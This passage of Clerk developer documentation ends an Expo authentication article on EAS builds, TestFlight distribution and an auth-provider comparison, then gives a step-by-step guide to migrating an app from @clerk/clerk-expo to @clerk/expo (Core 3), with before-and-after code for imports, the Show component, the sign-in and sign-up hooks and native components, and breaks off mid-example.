EAS Build compiles native code on cloud macOS runners, signs the app with auto-managed credentials (distribution certificate and provisioning profile), and outputs an `.ipa` file. You don't need to manually create certificates or provisioning profiles in the Apple Developer portal. EAS generates and manages them for you. Run `eas credentials` to inspect or reset them. The Apple Developer Program ($99/year) is required. The free EAS tier includes 15 iOS builds per month.

### Building for Android with EAS Build

```bash
eas build --platform android --profile production
```

The default output is an `.aab` (Android App Bundle) for the Play Store. For direct installation, add `"buildType": "apk"` to the production profile. EAS manages the Android keystore automatically.

> \[!IMPORTANT]
> For Google OAuth on Android, the SHA-1/SHA-256 fingerprint from the EAS-managed keystore must match the Google Cloud Console configuration. Run `eas credentials` to view the fingerprint.

### Environment-specific configuration

For more flexibility, switch from `app.json` to `app.config.js` with dynamic configuration:

```typescript
const IS_DEV = process.env.APP_VARIANT === 'development'

export default {
  name: IS_DEV ? 'Clerk Auth (Dev)' : 'Clerk Auth',
  slug: 'clerk-auth-demo',
  scheme: 'clerk-auth-demo',
  ios: {
    bundleIdentifier: IS_DEV ? 'com.yourapp.dev' : 'com.yourapp',
  },
  android: {
    package: IS_DEV ? 'com.yourapp.dev' : 'com.yourapp',
  },
  plugins: ['@clerk/expo'],
}
```

This lets you install development and production builds side by side on the same device with different bundle identifiers.

## Distributing with TestFlight

### Submitting to TestFlight

The fastest way to get a build into TestFlight is a single command:

```bash
npx testflight
```

This wraps `eas build --platform ios --profile production --auto-submit`. It builds the app, uploads the `.ipa` to App Store Connect, and enables TestFlight distribution for internal testers. Internal testers (up to 100 team members) get access immediately without App Store review. [Builds expire after 90 days](https://developer.apple.com/testflight/).

You can also run the steps separately:

```bash
eas build --platform ios --profile production --auto-submit
```

Or build first and submit later:

```bash
eas build --platform ios --profile production
eas submit --platform ios
```

### Android distribution

For Android, share the `.apk` directly or use the Google Play internal testing track:

```bash
eas build --platform android --profile production
```

Add `"buildType": "apk"` to the production profile in `eas.json` for direct sharing. For the Google Play internal track, use `eas submit --platform android` (requires a Google Play Console account).

## Comparison: authentication approaches for Expo apps

All major auth providers require development builds for OAuth. Clerk's developer experience stands out: native SwiftUI/Jetpack Compose components, integrated native Google Sign-In without third-party packages, and a config plugin that handles native setup automatically.

| Feature                                |      Clerk      |       Auth0       |        Firebase Auth       |   Supabase Auth   |
| -------------------------------------- | :-------------: | :---------------: | :------------------------: | :---------------: |
| Native UI components (SwiftUI/Compose) |                 |                   |                            |                   |
| Works in Expo Go (basic auth)          |                 |                   |         JS SDK only        |   Email/password  |
| OAuth requires dev build               |                 |                   |                            |                   |
| Native Google Sign-In                  |                 |                   |      Separate package      | signInWithIdToken |
| Expo config plugin                     |                 |                   | Via @react-native-firebase |                   |
| Free tier                              |     50K MRUs    |      25K MAUs     |          50K MAUs          |      50K MAUs     |
| Pro tier starting price                | $20/mo (annual) | Essentials $35/mo |     Usage-based (Blaze)    |       $25/mo      |

> \[!NOTE]
> Clerk uses Monthly Retained Users (MRUs) as its billing metric, meaning users who return 24+ hours after sign-up. Auth0, Firebase, and Supabase use Monthly Active Users (MAUs). Clerk Pro is $20/month billed annually or $25/month billed monthly. Supabase's free tier pauses databases after 7 days of inactivity.

## Frequently asked questions

---

# Migrating from @clerk/clerk-expo to @clerk/expo
URL: https://clerk.com/articles/migrating-from-clerk-clerk-expo-to-clerk-expo-breaking-changes-native-components.md
Date: 2026-04-03
Description: A complete migration guide from @clerk/clerk-expo to @clerk/expo (Core 3). Covers the Clerk Upgrade CLI, import path changes, the Show component, Core 3 redesigned authentication hook API, native components, passkeys, offline support, and testing strategies.

The `@clerk/clerk-expo` package is deprecated. Its replacement, `@clerk/expo`, ships with Clerk Core 3: native components powered by SwiftUI and Jetpack Compose, platform-native OAuth, [passkey](/glossary#passkeys) support, offline resilience, and a redesigned authentication hook API. The upgrade saves roughly 50KB gzipped through shared React internals ([Core 3 Changelog, 2026-03-03](/changelog/2026-03-03-core-3)). Run the Clerk Upgrade CLI to automate most import path changes, then follow this guide for the remaining breaking changes — including the new `Show` component, redesigned hooks, and native component adoption.

Core 2 is in long-term support until January 2027 ([Versioning docs](/docs/guides/development/upgrading/versioning)). You're not forced to migrate today, but `@clerk/clerk-expo` won't receive new features, and the bundle savings plus native component support make this upgrade worth prioritizing.

## Prerequisites and Compatibility Requirements

### Minimum Version Requirements

| Dependency          | Minimum Version  | Notes                                    |
| ------------------- | ---------------- | ---------------------------------------- |
| Expo SDK            | 53               | Peer dep `>=53 <56`                      |
| React Native        | 0.73.0           |                                          |
| React               | 18.0.0 or 19.0.0 | Peer dep `^18.0.0 \|\| ^19.0.0`          |
| Node.js             | 20.9.0           |                                          |
| `@clerk/expo`       | 3.0.0            | Latest: 3.1.6 (April 2026)               |
| iOS (passkeys only) | 16.0             | Set manually via `expo-build-properties` |

If you're on an older Expo SDK, upgrade first. Follow the [Expo SDK upgrade walkthrough](https://docs.expo.dev/workflow/upgrading-expo-sdk-walkthrough/) to reach SDK 53+.

### Three Authentication Approaches

`@clerk/expo` supports 3 approaches. Choose based on your requirements:

| Approach                 | Auth UI                             | OAuth                    |   Requires Dev Build  | Best For                           |
| ------------------------ | ----------------------------------- | ------------------------ | :-------------------: | ---------------------------------- |
| JavaScript only          | Custom React Native flows           | Browser-based (`useSSO`) | No (works in Expo Go) | Full UI control                    |
| JS + Native Sign-in      | Custom flows + native OAuth buttons | Native (no browser)      |          Yes          | Custom UI with native Google/Apple |
| Native Components (beta) | Pre-built native UI (`AuthView`)    | Native (no browser)      |          Yes          | Fastest integration                |

### Development Build Requirement

Native features (`AuthView`, `UserButton`, native OAuth, passkeys) require a [development build](https://expo.dev/blog/expo-go-vs-development-builds). Expo Go can't load custom native code.

Create a development build:

```bash
npx expo run:ios
```

Or for Android:

```bash
npx expo run:android
```

For CI/CD, use [EAS Build](https://docs.expo.dev/build/introduction/).

### Clerk Dashboard Configuration

Before migrating, configure your Clerk Dashboard:

1. **Enable Native API** on the [Native Applications](https://dashboard.clerk.com/~/native-applications) page ([deployment guide](/docs/guides/development/deployment/expo))
2. **Register your apps:** iOS (Team ID + Bundle ID), Android (package name)
3. [**Configure OAuth credentials**](https://dashboard.clerk.com/~/user-authentication/sso-connections) for Google and Apple sign-in if using native OAuth
4. [**Set up domains**](https://dashboard.clerk.com/~/domains) for passkeys and OAuth redirects

## Step 1: Run the Clerk Upgrade CLI

Start with the automated migration tool. It handles the most common changes through AST-level code transforms.

```bash
npx @clerk/upgrade
```

Other package managers:

```bash
pnpm dlx @clerk/upgrade
# or
yarn dlx @clerk/upgrade
# or
bunx @clerk/upgrade
```

The CLI supports `--sdk` and `--dir` flags for targeted scanning in monorepos.

### What the CLI Handles

- Package rename: `@clerk/clerk-expo` to `@clerk/expo`
- Import path updates across all files
- `SignedIn`, `SignedOut`, `Protect` to `Show` component replacements
- `ClerkProvider` positioning
- Re-exports, aliased imports, and monorepo files

> \[!WARNING]
> The CLI does **not** handle these changes. You'll need to make them manually:
>
> - `app.json` plugin configuration
> - Environment variable updates (`EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY`)
> - Core 3 authenication hook API refactoring (`useSignIn`/`useSignUp` hook body changes)
> - Token cache configuration (`@clerk/expo/token-cache`)
> - Offline error handling (`ClerkOfflineError`)
> - `useOAuth` to `useSSO` migration
> - Native component adoption

### Review CLI Output

After running the CLI, review its output for warnings. The tool uses regex-based scanning and may miss unusual import patterns, bound methods, or indirect calls. Verify that custom wrappers or re-exports in your codebase were caught.

## Step 2: Package Rename and Import Path Updates

### Install the New Package

Remove `@clerk/clerk-expo` and install its replacement:

```bash
npx expo install @clerk/expo expo-secure-store
```

For native components, add development dependencies:

```bash
npx expo install expo-auth-session expo-web-browser expo-dev-client
```

### Import Path Reference Table

Every import from `@clerk/clerk-expo` changes to `@clerk/expo` or one of its 14 subpath exports:

| Feature            | Old Import                                               | New Import                      |
| ------------------ | -------------------------------------------------------- | ------------------------------- |
| Core hooks         | `@clerk/clerk-expo`                                      | `@clerk/expo`                   |
| Control components | `@clerk/clerk-expo` (`SignedIn`, `SignedOut`, `Protect`) | `@clerk/expo` (`Show`)          |
| Native components  | N/A (new)                                                | `@clerk/expo/native`            |
| Token cache        | Custom implementation                                    | `@clerk/expo/token-cache`       |
| Resource cache     | N/A (new)                                                | `@clerk/expo/resource-cache`    |
| Passkeys           | N/A (new)                                                | `@clerk/expo/passkeys`          |
| Error types        | N/A (new)                                                | `@clerk/react/errors`           |
| Apple Sign-In      | `@clerk/clerk-expo`                                      | `@clerk/expo/apple`             |
| Google Sign-In     | `@clerk/clerk-expo`                                      | `@clerk/expo/google`            |
| Web components     | `@clerk/clerk-expo/web`                                  | `@clerk/expo/web`               |
| Local credentials  | `@clerk/clerk-expo`                                      | `@clerk/expo/local-credentials` |
| Legacy hooks       | N/A                                                      | `@clerk/expo/legacy`            |
| Types              | `@clerk/types`                                           | `@clerk/shared/types`           |

Before (Core 2):

```tsx {{ filename: 'app/example.tsx' }}
import { useAuth, useUser, SignedIn, SignedOut } from '@clerk/clerk-expo'
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/example.tsx' }}
import { useAuth, useUser, Show } from '@clerk/expo'
```

### Removed Exports

- **`Clerk` export removed.** Use `useClerk()` inside components or `getClerkInstance()` outside them.
- **`@clerk/types` deprecated.** Types are now exported from SDK packages via `@clerk/shared/types`.
- **`@clerk/expo/secure-store` deprecated.** Use `@clerk/expo/resource-cache` instead.

## Step 3: ClerkProvider Configuration Changes

### publishableKey Is Now Required

This is a breaking change. The publishable key must be passed explicitly to [`ClerkProvider`](/docs/reference/components/clerk-provider).

Why? Environment variables inside `node_modules` aren't inlined during React Native production builds. Without the explicit prop, your app will crash in production. The publishable key encodes the [Frontend API](/glossary/frontend-api) URL in base64 ([How Clerk Works](/docs/guides/how-clerk-works/overview)).

Before (Core 2):

```tsx {{ filename: 'app/_layout.tsx' }}
import { ClerkProvider } from '@clerk/clerk-expo'
import { Slot } from 'expo-router'

export default function RootLayout() {
  return (
    <ClerkProvider>
      <Slot />
    </ClerkProvider>
  )
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/_layout.tsx' }}
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

if (!publishableKey) {
  throw new Error('Add EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY to your .env file')
}

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Slot />
    </ClerkProvider>
  )
}
```

### Token Cache with expo-secure-store

Without `tokenCache`, Clerk stores tokens in memory. They're lost when the app restarts, forcing users to sign in again.

The `tokenCache` from `@clerk/expo/token-cache` uses `expo-secure-store` with `AFTER_FIRST_UNLOCK` keychain accessibility for encrypted persistent storage.

Install if you haven't already:

```bash
npx expo install expo-secure-store
```

### app.json Plugin Configuration

The `@clerk/expo` config plugin automatically adds the native SDKs (`clerk-ios` and `clerk-android`) and configures required build settings.

```json {{ filename: 'app.json' }}
{
  "expo": {
    "plugins": [
      "expo-secure-store",
      [
        "@clerk/expo",
        {
          "appleSignIn": true
        }
      ]
    ]
  }
}
```

Plugin options:

| Option            | Type      | Default     | Description                            |
| ----------------- | --------- | ----------- | -------------------------------------- |
| `appleSignIn`     | `boolean` | `true`      | Adds Apple Sign-In entitlement         |
| `keychainService` | `string`  | `undefined` | For extension targets sharing keychain |

The plugin handles these automatically:

- **iOS:** Adds `clerk-ios` via SPM (ClerkKit + ClerkKitUI), injects `ClerkViewFactory.swift`, modifies `AppDelegate.swift`
- **Android:** Adds META-INF exclusions, Kotlin metadata version flags
- **Google Sign-In:** Reads `EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME` for the iOS URL scheme

## Step 4: Control Component Migration: SignedIn, SignedOut, Protect to Show

The `<Show>` component replaces 3 separate components: `<SignedIn>`, `<SignedOut>`, and `<Protect>`. It handles both authentication state checks and authorization (role-based access control) in a single API.

> \[!NOTE]
> `<Show>` only visually hides content. The underlying views remain accessible to inspection. For sensitive data, always perform server-side authorization checks.

### Authentication State Checks

Before (Core 2):

```tsx {{ filename: 'app/home.tsx' }}
import { SignedIn, SignedOut } from '@clerk/clerk-expo'
import { Text } from 'react-native'

export default function HomeScreen() {
  return (
    <>
      <SignedIn>
        <Text>Welcome back!</Text>
      </SignedIn>
      <SignedOut>
        <Text>Please sign in.</Text>
      </SignedOut>
    </>
  )
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/home.tsx' }}
import { Show } from '@clerk/expo'
import { Text } from 'react-native'

export default function HomeScreen() {
  return (
    <>
      <Show when="signed-in">
        <Text>Welcome back!</Text>
      </Show>
      <Show when="signed-out">
        <Text>Please sign in.</Text>
      </Show>
    </>
  )
}
```

### Authorization Checks

`<Protect>` with role/permission props becomes `<Show>` with object-based `when`:

Before (Core 2):

```tsx {{ filename: 'app/admin.tsx' }}
import { Protect } from '@clerk/clerk-expo'
import { Text } from 'react-native'

export default function AdminPanel() {
  return (
    <Protect role="org:admin" fallback={<Text>Not authorized</Text>}>
      <Text>Admin panel content</Text>
    </Protect>
  )
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/admin.tsx' }}
import { Show } from '@clerk/expo'
import { Text } from 'react-native'

export default function AdminPanel() {
  return (
    <Show when={{ role: 'org:admin' }} fallback={<Text>Not authorized</Text>}>
      <Text>Admin panel content</Text>
    </Show>
  )
}
```

### All Show Component when Patterns

| Pattern       | Example                                        | Core 2 Equivalent                    |
| ------------- | ---------------------------------------------- | ------------------------------------ |
| Signed in     | `when="signed-in"`                             | `<SignedIn>`                         |
| Signed out    | `when="signed-out"`                            | `<SignedOut>`                        |
| Role          | `when={{ role: 'org:admin' }}`                 | `<Protect role="org:admin">`         |
| Permission    | `when={{ permission: 'org:invoices:create' }}` | `<Protect permission="...">`         |
| Feature (new) | `when={{ feature: 'premium_access' }}`         | N/A                                  |
| Plan (new)    | `when={{ plan: 'bronze' }}`                    | N/A                                  |
| Custom logic  | `when={(has) => has({ role: 'org:admin' })}`   | `<Protect condition={(has) => ...}>` |

### treatPendingAsSignedOut

The `treatPendingAsSignedOut` prop (defaults to `true`) controls how pending sessions are treated. When using native components, set it to `false` to prevent the pending session state from showing as signed out during native-to-JS session sync.

Two places to set this:

```tsx {{ filename: 'app/native-example.tsx' }}
import { Show, useAuth } from '@clerk/expo'
import { Text } from 'react-native'

// On the Show component
function NativeAwareShow() {
  return (
    <Show treatPendingAsSignedOut={false} when="signed-in">
      <Text>Content</Text>
    </Show>
  )
}

// On the useAuth hook
function NativeAwareHook() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  // ...
}
```

## Step 5: Hook API Changes

This is the largest manual migration step. The `@clerk/upgrade` CLI doesn't automate these changes because they require understanding your authentication flow logic.

### useSignIn: Before and After

Core 3 replaces the imperative `signIn.create()` + `setActive()` pattern with method-specific APIs, structured errors, and `fetchStatus` tracking.

Before (Core 2):

```tsx {{ filename: 'app/(auth)/sign-in.tsx' }}
import { useSignIn } from '@clerk/clerk-expo'
import { useState } from 'react'
import { Text, TextInput, Button, View } from 'react-native'
import { useRouter } from 'expo-router'

export default function SignInScreen() {
  const { signIn, setActive, isLoaded } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [error, setError] = useState('')
  const router = useRouter()

  const onSignIn = async () => {
    if (!isLoaded) return

    try {
      const result = await signIn.create({
        identifier: email,
        password,
      })

      if (result.status === 'complete') {
        await setActive({ session: result.createdSessionId })
        router.replace('/(home)')
      }
    } catch (err: any) {
      setError(err.errors?.[0]?.message || 'Sign in failed')
    }
  }

  return (
    <View>
      <TextInput value={email} onChangeText={setEmail} placeholder="Email" />
      <TextInput value={password} onChangeText={setPassword} secureTextEntry />
      {error ? <Text>{error}</Text> : null}
      <Button title="Sign In" onPress={onSignIn} />
    </View>
  )
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/(auth)/sign-in.tsx' }}
import { useSignIn } from '@clerk/expo'
import { useState } from 'react'
import { Text, TextInput, Pressable, View } from 'react-native'
import { useRouter, type Href } from 'expo-router'

export default function SignInScreen() {
  const { signIn, errors, fetchStatus } = useSignIn()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [mfaCode, setMfaCode] = useState('')
  const router = useRouter()

  const onSignIn = async () => {
    await signIn.password({ emailAddress: email, password })

    if (signIn.status === 'needs_second_factor') {
      await signIn.mfa.sendEmailCode()
      return
    }

    if (signIn.status === 'needs_client_trust') {
      await signIn.mfa.sendEmailCode()
      return
    }

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) return
          router.push(decorateUrl('/') as Href)
        },
      })
    }
  }

  const onVerifyMfa = async () => {
    await signIn.mfa.verifyEmailCode({ code: mfaCode })

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) return
          router.push(decorateUrl('/') as Href)
        },
      })
    }
  }

  return (
    <View>
      <TextInput value={email} onChangeText={setEmail} placeholder="Email" />
      <TextInput value={password} onChangeText={setPassword} secureTextEntry />

      {errors?.fields?.identifier ? <Text>{errors.fields.identifier.message}</Text> : null}
      {errors?.fields?.password ? <Text>{errors.fields.password.message}</Text> : null}

      {signIn.status === 'needs_second_factor' || signIn.status === 'needs_client_trust' ? (
        <>
          <TextInput value={mfaCode} onChangeText={setMfaCode} placeholder="Verification code" />
          {errors?.fields?.code ? <Text>{errors.fields.code.message}</Text> : null}
          <Pressable onPress={onVerifyMfa} disabled={fetchStatus === 'fetching'}>
            <Text>Verify</Text>
          </Pressable>
        </>
      ) : (
        <Pressable onPress={onSignIn} disabled={fetchStatus === 'fetching'}>
          <Text>Sign In</Text>
        </Pressable>
      )}
    </View>
  )
}
```

Key changes to notice:

- **Return type:** `{ signIn, errors, fetchStatus }` replaces `{ isLoaded, signIn, setActive }`
- **Method-specific calls:** `signIn.password()` replaces `signIn.create({ identifier, password })`
- **Structured errors:** `errors.fields.identifier?.message` replaces `try/catch` with `err.errors?.[0]?.message`
- **fetchStatus:** `'idle'` or `'fetching'`, useful for disabling buttons during API calls
- **finalize replaces setActive:** `signIn.finalize({ navigate })` replaces `setActive({ session })`
- **`needs_client_trust`:** New status for [credential stuffing](/glossary/credential-stuffing) protection. Triggers on new devices with valid password and no MFA enabled. Auto-enabled for apps created after November 14, 2025 ([Client Trust, 2025-11-14](/changelog/2025-11-14-client-trust-credential-stuffing-killer)). Only affects password-based sign-ins.

### useSignUp: Before and After

Before (Core 2):

```tsx {{ filename: 'app/(auth)/sign-up.tsx' }}
import { useSignUp } from '@clerk/clerk-expo'
import { useState } from 'react'
import { Text, TextInput, Button, View } from 'react-native'
import { useRouter } from 'expo-router'

export default function SignUpScreen() {
  const { signUp, setActive, isLoaded } = useSignUp()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [code, setCode] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)
  const router = useRouter()

  const onSignUp = async () => {
    if (!isLoaded) return

    try {
      await signUp.create({ emailAddress: email, password })
      await signUp.prepareEmailAddressVerification({ strategy: 'email_code' })
      setPendingVerification(true)
    } catch (err: any) {
      console.error(err.errors?.[0]?.message)
    }
  }

  const onVerify = async () => {
    try {
      const result = await signUp.attemptEmailAddressVerification({ code })
      if (result.status === 'complete') {
        await setActive({ session: result.createdSessionId })
        router.replace('/(home)')
      }
    } catch (err: any) {
      console.error(err.errors?.[0]?.message)
    }
  }

  return (
    <View>
      {pendingVerification ? (
        <>
          <TextInput value={code} onChangeText={setCode} placeholder="Verification code" />
          <Button title="Verify" onPress={onVerify} />
        </>
      ) : (
        <>
          <TextInput value={email} onChangeText={setEmail} placeholder="Email" />
          <TextInput value={password} onChangeText={setPassword} secureTextEntry />
          <Button title="Sign Up" onPress={onSignUp} />
        </>
      )}
    </View>
  )
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/(auth)/sign-up.tsx' }}
import { useSignUp } from '@clerk/expo'
import { useState } from 'react'
import { Text, TextInput, Pressable, View } from 'react-native'
import { useRouter, type Href } from 'expo-router'

export default function SignUpScreen() {
  const { signUp, errors, fetchStatus } = useSignUp()
  const [email, setEmail] = useState('')
  const [password, setPassword] = useState('')
  const [code, setCode] = useState('')
  const router = useRouter()

  const onSignUp = async () => {
    await signUp.password({ emailAddress: email, password })

    if (
      signUp.status === 'missing_requirements' &&
      signUp.unverifiedFields.includes('email_address')
    ) {
      await signUp.verifications.sendEmailCode()
    }
  }

  const onVerify = async () => {
    await signUp.verifications.verifyEmailCode({ code })

    if (signUp.status === 'complete') {
      await signUp.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) return
          router.push(decorateUrl('/') as Href)
        },
      })
    }
  }

  return (
    <View>
      {signUp.status === 'missing_requirements' &&
      signUp.unverifiedFields.includes('email_address') ? (
        <>
          <TextInput value={code} onChangeText={setCode} placeholder="Verification code" />
          {errors?.fields?.code ? <Text>{errors.fields.code.message}</Text> : null}
          <Pressable onPress={onVerify} disabled={fetchStatus === 'fetching'}>
            <Text>Verify Email</Text>
          </Pressable>
        </>
      ) : (
        <>
          <TextInput value={email} onChangeText={setEmail} placeholder="Email" />
          <TextInput value={password} onChangeText={setPassword} secureTextEntry />
          {errors?.fields?.emailAddress ? <Text>{errors.fields.emailAddress.message}</Text> : null}
          {errors?.fields?.password ? <Text>{errors.fields.password.message}</Text> : null}
          <Pressable onPress={onSignUp} disabled={fetchStatus === 'fetching'}>
            <Text>Sign Up</Text>
          </Pressable>
          <View nativeID="clerk-captcha" />
        </>
      )}
    </View>
  )
}
```

> \[!IMPORTANT]
> The `<View nativeID="clerk-captcha" />` element is required in sign-up forms. It uses `nativeID` (not `id`) in React Native. Cloudflare-based bot detection has limitations in non-browser environments, but this element must be present.

### setActive Callback Changes

The `beforeEmit` callback is replaced by `navigate`. The new callback receives `session` and `decorateUrl`:

Before (Core 2):

```tsx {{ filename: 'utils/auth-helpers.tsx' }}
await setActive({
  session: result.createdSessionId,
  beforeEmit: (session) => {
    router.push('/(home)')
  },
})
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'utils/auth-helpers.tsx' }}
await signIn.finalize({
  navigate: ({ session, decorateUrl }) => {
    if (session?.currentTask) return
    router.push(decorateUrl('/') as Href)
  },
})
```

Always wrap destination URLs with `decorateUrl()`. Check `session?.currentTask` before navigating. If a task exists (like an organization invitation), the SDK handles routing.

### useAuth, useUser, useClerk, useSession

Import paths changed, but the API is largely the same. One change: `useAuth().getToken` is now always a function (never `undefined`). Use try/catch instead of conditional checks.

Before (Core 2):

```tsx {{ filename: 'utils/token-helper.tsx' }}
import { useAuth } from '@clerk/clerk-expo'

async function useApiToken() {
  const { getToken } = useAuth()
  const token = getToken ? await getToken() : null
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'utils/token-helper.tsx' }}
import { useAuth } from '@clerk/expo'

async function useApiToken() {
  const { getToken } = useAuth()
  const token = await getToken() // always a function, use try/catch for errors
}
```

> \[!TIP]
> The `signIn` and `signUp` objects from the new hooks are **not referentially stable**. They change identity as the flow progresses. Always include them in `useEffect`, `useCallback`, and `useMemo` dependency arrays.

### Legacy Import Path

For large codebases, `@clerk/expo/legacy` provides the old Core 2 `useSignIn`/`useSignUp` API as a stepping stone. You can rename the package first, then refactor auth flows later.

```tsx {{ filename: 'app/(auth)/sign-in-legacy.tsx' }}
// Core 2 API from the new package. Will be removed in a future release.
import { useSignIn } from '@clerk/expo/legacy'
```

The legacy API will be removed in a future release. Plan to migrate to the updated authentication hook API.

## Step 6: Appearance and Theming Changes

### Configuration Restructuring

`appearance.layout` is renamed to `appearance.options`:

Before (Core 2):

```tsx {{ filename: 'app/_layout.tsx' }}
<ClerkProvider
  appearance={{
    layout: {
      showOptionalFields: true,
    },
  }}
></ClerkProvider>
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/_layout.tsx' }}
<ClerkProvider
  appearance={{
    options: {
      showOptionalFields: false,
    },
  }}
></ClerkProvider>
```

Other appearance changes:

- **`showOptionalFields` default changed** from `true` to `false`. Set it explicitly if you want optional fields visible.
- **`colorRing` and `colorModalBackdrop`** now render at full opacity. Use `rgba()` values to restore previous behavior.
- **Experimental prefixes standardized.** All `experimental_` and `experimental__` prefixes are now `__experimental_`. Update any custom theme configuration.
- **Automatic light/dark theming.** Components match your app's color scheme without manual configuration.

## Step 7: Deprecation Removals and Renamed APIs

### Redirect Prop Changes

Before (Core 2):

```tsx {{ filename: 'app/_layout.tsx' }}
<ClerkProvider afterSignInUrl="/(home)" afterSignUpUrl="/(home)"></ClerkProvider>
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'app/_layout.tsx' }}
<ClerkProvider
  signInFallbackRedirectUrl="/(home)"
  signUpFallbackRedirectUrl="/(home)"
></ClerkProvider>
```

| Before               | After                                               |
| -------------------- | --------------------------------------------------- |
| `afterSignInUrl`     | `signInFallbackRedirectUrl`                         |
| `afterSignUpUrl`     | `signUpFallbackRedirectUrl`                         |
| `redirectUrl`        | `signInFallbackRedirectUrl`                         |
| For forced redirects | `signInForceRedirectUrl` / `signUpForceRedirectUrl` |

### SAML to Enterprise SSO

SAML references are renamed to enterprise [SSO](/glossary/single-sign-on-sso) throughout the API:

Before (Core 2):

```tsx {{ filename: 'utils/enterprise-auth.tsx' }}
// Core 2 SAML references
const samlAccounts = user.samlAccounts
await signIn.create({ strategy: 'saml', identifier: email })
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'utils/enterprise-auth.tsx' }}
// Core 3 enterprise SSO references
const enterpriseAccounts = user.enterpriseAccounts
```

In Expo, use `useSSO()` with the renamed strategy for enterprise SSO flows:

```tsx {{ filename: 'components/EnterpriseSSOButton.tsx' }}
import { useSSO } from '@clerk/expo'

export function EnterpriseSSOButton({ email }: { email: string }) {
  const { startSSOFlow } = useSSO()

  const onPress = async () => {
    const { createdSessionId, setActive } = await startSSOFlow({
      strategy: 'enterprise_sso',
      identifier: email,
    })
    if (createdSessionId && setActive) {
      await setActive({ session: createdSessionId })
    }
  }

  // render button...
}
```

### useOAuth to useSSO

The `useOAuth()` hook is deprecated. Use `useSSO()` for browser-based [SSO](/glossary/single-sign-on-sso) and OAuth flows:

Before (Core 2):

```tsx {{ filename: 'components/OAuthButton.tsx' }}
import { useOAuth } from '@clerk/clerk-expo'
import * as WebBrowser from 'expo-web-browser'

WebBrowser.maybeCompleteAuthSession()

export function GoogleOAuthButton() {
  const { startOAuthFlow } = useOAuth({ strategy: 'oauth_google' })

  const onPress = async () => {
    const { createdSessionId, setActive } = await startOAuthFlow()
    if (createdSessionId && setActive) {
      await setActive({ session: createdSessionId })
    }
  }

  // render button...
}
```

After (Core 3, `@clerk/expo` `>=3.0.0`):

```tsx {{ filename: 'components/SSOButton.tsx' }}
import { useSSO } from '@clerk/expo'

export function GoogleSSOButton() {
  const { startSSOFlow } = useSSO()

  const onPress = async () => {
    const { createdSessionId, setActive } = await startSSOFlow({
      strategy: 'oauth_google',
      redirectUrl: 'your-scheme://callback',
    })
    if (createdSessionId && setActive) {
      await setActive({ session: createdSessionId })
    }
  }

  // render button...
}
```

### Other Renamed APIs

| Before                                   | After                                    |
| ---------------------------------------- | ---------------------------------------- |
| `client.activeSessions`                  | `client.sessions`                        |
| `ClerkAPIError.kind === 'ClerkApiError'` | `ClerkAPIError.kind === 'ClerkAPIError'` |
| `verification.samlAccount`               | `verification.enterpriseAccount`         |
| `userSettings.saml`                      | `userSettings.enterpriseSSO`             |
| `import { Clerk }`                       | Use `useClerk()` or `getClerkInstance()` |

## Step 8: Adopting Native Components (Beta)

Native components are the biggest addition in `@clerk/expo` 3.1. They render authentication UI using SwiftUI on iOS and Jetpack Compose on Android ([Expo Native Components, 2026-03-09](/changelog/2026-03-09-expo-native-components)).

> \[!NOTE]
> Native components are in beta. They require a development build and Expo SDK 53+.

### AuthView: Native Authentication Interface

`AuthView` renders a complete sign-in/sign-up flow using platform-native UI. It handles email/password, social login, passkeys, and MFA automatically.

```tsx {{ filename: 'app/(auth)/sign-in.tsx' }}
import { AuthView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'

export default function SignInScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(home)')
    }
  }, [isSignedIn])

  return <AuthView mode="signInOrUp" />
}
```

Props:

| Prop            | Type                                   | Default        | Description                    |
| --------------- | -------------------------------------- | -------------- | ------------------------------ |
| `mode`          | `'signIn' \| 'signUp' \| 'signInOrUp'` | `'signInOrUp'` | Controls which flow to display |
| `isDismissable` | `boolean`                              | `false`        | Shows/hides a dismiss button   |

> \[!WARNING]
> Don't set `isDismissable={true}` inside a React Native `<Modal>`. This creates conflicting dismiss behaviors.

AuthView handles social sign-in flows automatically. You don't need `useSignInWithGoogle` or `useSignInWithApple` hooks (or their peer dependencies like `expo-crypto`) when using AuthView.

### UserButton: Native Profile Avatar

`UserButton` displays the user's avatar as a tappable circle. Tapping opens a native profile modal.

```tsx {{ filename: 'app/(home)/_layout.tsx' }}
import { Stack } from 'expo-router'
import { UserButton } from '@clerk/expo/native'
import { View } from 'react-native'

export default function HomeLayout() {
  return (
